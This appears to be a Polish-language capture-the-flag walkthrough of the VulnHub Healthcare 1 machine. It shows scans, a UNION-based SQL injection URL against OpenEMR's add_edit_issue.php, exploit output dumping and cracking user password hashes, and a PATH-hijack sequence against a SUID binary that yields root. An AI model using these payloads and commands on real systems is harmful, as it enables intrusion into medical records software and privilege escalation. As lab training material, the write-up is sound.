Zaczynam od znalezienia IP maszyny

[parrot@parrot][~/Desktop]
└╼[]$sudo netdiscover -r 192.168.2.0/24
 Currently scanning: Finished!   |   Screen View: Unique Hosts                                                                                               
                                                                                                                                                             
 257 Captured ARP Req/Rep packets, from 5 hosts.   Total size: 15420                                                                                         
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.2.1     00:50:56:c0:00:08    226   13560  VMware, Inc.                                                                                              
 192.168.2.2     00:50:56:f0:ed:fa     11     660  VMware, Inc.                                                                                              
 192.168.2.138   00:0c:29:d2:9a:78      9     540  VMware, Inc.                                                                                              
 192.168.2.139   00:0c:29:97:de:0b      3     180  VMware, Inc.                                                                                              
 192.168.2.254   00:50:56:f8:70:fd      8     480  VMware, Inc.

IP maszyny to 192.168.2.139.


NMap

[parrot@parrot][~/vulnhub/healthcare1]
└╼[]$nmap -sC -sV 192.168.2.139      
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-20 01:54 CEST
Nmap scan report for 192.168.2.139
Host is up (0.033s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.3d
80/tcp open  http    Apache httpd 2.2.17 ((PCLinuxOS 2011/PREFORK-1pclos2011))
|_http-title: Coming Soon 2
|_http-server-header: Apache/2.2.17 (PCLinuxOS 2011/PREFORK-1pclos2011)
| http-robots.txt: 8 disallowed entries 
| /manual/ /manual-2.2/ /addon-modules/ /doc/ /images/ 
|_/all_our_e-mail_addresses /admin/ /
Service Info: OS: Unix

Strona główna


Feroxbuster na plikach

[parrot@parrot][~/vulnhub/healthcare1]                                                                                                                                                      
└╼[]$feroxbuster -w /usr/share/wordlists/dirb/common.txt  -u http://192.168.2.139 -t 50 -d 1                                                                                                
                                                                                                                                                                                                                                               ___  ___  __   __     __      __         __   ___                                                                     
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__                                                                                                                                                                                             |    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___                                                                     
by Ben "epi" Risher 🤓                 ver: 2.3.3                                              
───────────────────────────┬──────────────────────                                             
 🎯  Target Url            │ http://192.168.2.139                                              
 🚀  Threads               │ 50                                                                                                                                                               
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt                              
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]                                                                                                               
 💥  Timeout (secs)7                                                                 
 🦡  User-Agent            │ feroxbuster/2.3.3                                                 
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml                                
 🔃  Recursion Depth       │ 1                                                                                                                                                                                                                 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest                                                                                                                                                            
───────────────────────────┴──────────────────────                                                                     
 🏁  Press [ENTER] to use the Scan Cancel Menu™                                                                        
──────────────────────────────────────────────────                                                                     
403       42l       96w        0c http://192.168.2.139/admin.cgi                                                       
403       42l       96w        0c http://192.168.2.139/AT-admin.cgi                                                    
403       42l       96w        0c http://192.168.2.139/.htaccess                                                       
403       42l       96w        0c http://192.168.2.139/.htpasswd                                                       
403       42l       96w        0c http://192.168.2.139/cachemgr.cgi                                                    
403       42l       97w        0c http://192.168.2.139/cgi-bin/                                                        
301        9l       29w      339c http://192.168.2.139/css                                                             
200        2l       14w     1406c http://192.168.2.139/favicon.ico                                                     
301        9l       29w      341c http://192.168.2.139/fonts                                                           
301        9l       29w      342c http://192.168.2.139/gitweb                                                          
301        9l       29w      342c http://192.168.2.139/images                                                          
200      121l      281w     5031c http://192.168.2.139/index                                                           
200      121l      281w     5031c http://192.168.2.139/index.html                                                      
301        9l       29w      338c http://192.168.2.139/js                                                              
403        1l        4w       59c http://192.168.2.139/phpMyAdmin                                                      
403       42l       96w        0c http://192.168.2.139/.hta                                                            
200       19l       78w      620c http://192.168.2.139/robots.txt                                                      
200       19l       78w      620c http://192.168.2.139/robots                                                          
403       42l       96w        0c http://192.168.2.139/server-status                                                   
403       42l       96w        0c http://192.168.2.139/server-info                                                     
301        9l       29w      342c http://192.168.2.139/vendor                                                          
[####################] - 6s      4613/4613    0s      found:21      errors:0                                                                                                                                                                  
[####################] - 5s      4613/4613    806/s   http://192.168.2.139

Feroxbuster na folderach

[parrot@parrot][~/vulnhub/healthcare1]
└╼[]$feroxbuster -w /opt/SecLists/Discovery/Web-Content/raft-small-directories.txt -u http://192.168.2.139 -t 50 -d 1          

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.2.139
 🚀  Threads               │ 50
 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/raft-small-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔃  Recursion Depth       │ 1
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301        9l       29w      342c http://192.168.2.139/images
301        9l       29w      339c http://192.168.2.139/css
301        9l       29w      338c http://192.168.2.139/js
200      121l      281w     5031c http://192.168.2.139/index
301        9l       29w      341c http://192.168.2.139/fonts
403        1l        4w       59c http://192.168.2.139/phpMyAdmin
301        9l       29w      342c http://192.168.2.139/vendor
200       19l       78w      620c http://192.168.2.139/robots
403        1l        8w       49c http://192.168.2.139/addon-modules
200        2l       14w     1406c http://192.168.2.139/favicon
403       42l       96w        0c http://192.168.2.139/server-status
301        9l       29w      342c http://192.168.2.139/gitweb
[####################] - 5s     20115/20115   0s      found:12      errors:0      
[####################] - 5s     20115/20115   3938/s  http://192.168.2.139

W tym momencie utknąłem, próbowałem różnych sztuczek z BurpSuite oraz parametrem email na stronie głównej. Niestety nic nie działało. Zeskanowałem również wszystkie porty TCP oraz UDP. Niestety bez skutku.

W końcu rozwiązaniem był skan folderów, ale największym z możliwych słowników. Parametr -r, “poszedł” za 301 Redirected i wyniku tego otrzymałem nowy folder openemr.

[parrot@parrot][~/vulnhub/healthcare1]                                                                                                                                                      
└╼[]$feroxbuster -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://192.168.2.139 -t 50 -d 1 -r                                                                    
                                                                                                                                                                                              
 ___  ___  __   __     __      __         __   ___                                                                                                                                            
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__                                                                                                                                             
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___                                                                                                                                            
by Ben "epi" Risher 🤓                 ver: 2.3.3                                                                                                                                             
───────────────────────────┬──────────────────────                                                                                                                                            
 🎯  Target Url            │ http://192.168.2.139                                                                                                                                             
 🚀  Threads               │ 50                                                                                                                                                               
 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt                                                                                                   
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]                                                                                                               
 💥  Timeout (secs)7                                                                                                                                                                
 🦡  User-Agent            │ feroxbuster/2.3.3                                                                                                                                                
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml                                                                                                                               
 📍  Follow Redirects      │ true                                                                                                                                                             
 🔃  Recursion Depth       │ 1                                                                                                                                                                
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest                                                                                                            
───────────────────────────┴──────────────────────                                                                                                                                            
 🏁  Press [ENTER] to use the Scan Cancel Menu™                                                                                                                                               
──────────────────────────────────────────────────                                                                                                                                            
200      121l      281w     5031c http://192.168.2.139/index                                                                                                                                  
403       42l       97w        0c http://192.168.2.139/images/                                                                                                                                
403       42l       97w        0c http://192.168.2.139/css/                                                                                                                                   
403       42l       97w        0c http://192.168.2.139/js/                                                                                                                                    
403       42l       97w        0c http://192.168.2.139/vendor/                                                                                                                                
200        2l       14w     1406c http://192.168.2.139/favicon                                                                                                                                
200       19l       78w      620c http://192.168.2.139/robots                                                                                                                                 
403       42l       97w        0c http://192.168.2.139/fonts/                                                                                                                                 
403       42l       97w        0c http://192.168.2.139/gitweb/                                                                                                                                
403        1l        4w       59c http://192.168.2.139/phpMyAdmin                                                                                                                             
403       42l       96w        0c http://192.168.2.139/server-status                                                                                                                          
403       42l       96w        0c http://192.168.2.139/server-info                                                                                                                            
200        5l        6w      131c http://192.168.2.139/openemr/                                                                                                                               
[####################] - 3m   1273818/1273818 0s      found:13      errors:0                                                                                                                  
[####################] - 3m   1273818/1273818 5456/s  http://192.168.2.139

/openemr

Google podpowiada -> OpenEMR is the most popular open source electronic health records and medical practice management solution.

searchsploit

Podatność jest w pliku add_edit_issue.php, w linii poniżej:

$irow = sqlQuery("SELECT * FROM lists WHERE id = $issue");; <--------------------- SQL injection

Problemem jest parametr issue, który pozwala na wstrzyknięcie kodu

http://[attack url]/interface/patient_file/summary/add_edit_issue.php?issue=0+union
+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,user(),25,26,27--
[parrot@parrot][~/vulnhub/healthcare1]
└╼[]$python3 49742.py

   ____                   ________  _______     __ __   ___ ____
  / __ \____  ___  ____  / ____/  |/  / __ \   / // /  <  // __ \
 / / / / __ \/ _ \/ __ \/ __/ / /|_/ / /_/ /  / // /_  / // / / /
/ /_/ / /_/ /  __/ / / / /___/ /  / / _, _/  /__  __/ / // /_/ /
\____/ .___/\___/_/ /_/_____/_/  /_/_/ |_|     /_/ (_)_(_)____/
    /_/
    ____  ___           __   _____ ____    __    _
   / __ )/ (_)___  ____/ /  / ___// __ \  / /   (_)
  / /_/ / / / __ \/ __  /   \__ \/ / / / / /   / /
 / /_/ / / / / / / /_/ /   ___/ / /_/ / / /___/ /
/_____/_/_/_/ /_/\__,_/   /____/\___\_\/_____/_/   exploit by @ikuamike

[+] Finding number of users...
[+] Found number of users: 2
[+] Extracting username and password hash...
admin:3863efef9ee2bfbc51ecdca359c6302bed1389e8
medical:ab24aed5a7c4ad45615cd7e0da816eea39e4895d

Oba hasła są w bazie crackstation.com.

Dane:

admin:ackbar medical:medical

Panel openemr

Zalogowałem się na portal i przystąpiłem do szukania jak dostać się do maszyny.

Znalazłem w zakładce Administration -> Files możliwość uploadu/modyfikacji już istniejących plików. Dlatego zmodyfikowałem już istniejący config.php i momentalnie dostałem odpowiedź na porcie 1234.

Sprawdziłem z ciekawości czy mogę się zalogować na użytkownika medical z hasłem medical, które działało z panelem openemr. Ku zdziwieniu udało się. /home/almirant/user.txt

d41d8cd98f00b204e9800998ecf8427e


Privileges Escalation

W teorii mógłbym pójść ponownie na skróty jak w maszynie Photographer i zdobyć roota, ale tym razem spróbuję innym sposobem.

Widzę co najmniej 2 dziwne binarki w SUID.

/usr/bin/sperl5.10.1 /usr/bin/healthcheck

Przy pierwszej nie znalazłem nic konkretnego i szybko przeszedłem do drugiej gdzie sprawy są już ciekawsze. Użyłem polecenia strings /usr/bin/healthcheck, aby sprawdzić zawartosć tej binarki.

Wygląda na to, że program przeprowadza testy, m.in. sprawdzenie inferfejsów sieciowych, wyświetla partycje oraz wolne miejsce na dysku. Program działa z uprawnieniami roota, więc prawdopodobnie możemy “podszyć się”, pod któryś z tych wywyższych poleceń i wykonać swój kod.

cd /tmp
export PATH=/tmp:$PATH
echo "/bin/bash" > ifconfig
chmod 777 ifconfig
/usr/bin/healthcheck

Tą prostą sekwencją otrzymałem roota.

cat root.txt
██    ██  ██████  ██    ██     ████████ ██████  ██ ███████ ██████      ██   ██  █████  ██████  ██████  ███████ ██████  ██ 
 ██  ██  ██    ██ ██    ██        ██    ██   ██ ██ ██      ██   ██     ██   ██ ██   ██ ██   ██ ██   ██ ██      ██   ██ ██ 
  ████   ██    ██ ██    ██        ██    ██████  ██ █████   ██   ██     ███████ ███████ ██████  ██   ██ █████   ██████  ██ 
   ██    ██    ██ ██    ██        ██    ██   ██ ██ ██      ██   ██     ██   ██ ██   ██ ██   ██ ██   ██ ██      ██   ██    
   ██     ██████   ██████         ██    ██   ██ ██ ███████ ██████      ██   ██ ██   ██ ██   ██ ██████  ███████ ██   ██ ██ 
                                                                                                                          
                                                                                                                          
Thanks for Playing!

Follow me at: http://v1n1v131r4.com


root hash: eaff25eaa9ffc8b62e3dfebf70e83a7b
 
[root@localhost root]#

Root proof